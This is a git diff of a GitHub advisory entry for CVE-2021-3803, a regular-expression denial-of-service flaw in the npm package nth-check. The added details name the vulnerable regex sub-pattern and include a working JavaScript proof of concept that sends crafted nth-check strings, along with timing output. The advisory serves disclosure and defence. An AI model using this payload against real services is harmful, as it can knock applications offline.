diff --git a/advisories/github-reviewed/2021/09/GHSA-rp65-9cf3-cjxr/GHSA-rp65-9cf3-cjxr.json b/advisories/github-reviewed/2021/09/GHSA-rp65-9cf3-cjxr/GHSA-rp65-9cf3-cjxr.json
index 6a29247c84d..a8761ccfd91 100644
--- a/advisories/github-reviewed/2021/09/GHSA-rp65-9cf3-cjxr/GHSA-rp65-9cf3-cjxr.json
+++ b/advisories/github-reviewed/2021/09/GHSA-rp65-9cf3-cjxr/GHSA-rp65-9cf3-cjxr.json
@@ -1,13 +1,13 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-rp65-9cf3-cjxr",
-  "modified": "2023-02-06T22:39:54Z",
+  "modified": "2023-09-13T21:49:54Z",
   "published": "2021-09-20T20:47:31Z",
   "aliases": [
     "CVE-2021-3803"
   ],
   "summary": "Inefficient Regular Expression Complexity in nth-check",
-  "details": "nth-check is vulnerable to Inefficient Regular Expression Complexity",
+  "details": "There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.\n\nThe ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\\s*(?:([+-]?)\\s*(\\d+))?` with quantified overlapping adjacency and can be exploited with the following code.\n\n**Proof of Concept**\n```js\n// PoC.js\nvar nthCheck = require(\"nth-check\")\nfor(var i = 1; i <= 50000; i++) {\n    var time = Date.now();\n    var attack_str = '2n' + ' '.repeat(i*10000)+\"!\";\n    try {\n        nthCheck.parse(attack_str) \n    }\n    catch(err) {\n        var time_cost = Date.now() - time;\n        console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n    }\n}\n```\n\n**The Output**\n```\nattack_str.length: 10003: 174 ms\nattack_str.length: 20003: 1427 ms\nattack_str.length: 30003: 2602 ms\nattack_str.length: 40003: 4378 ms\nattack_str.length: 50003: 7473 ms\n```",
   "severity": [
     {
       "type": "CVSS_V3",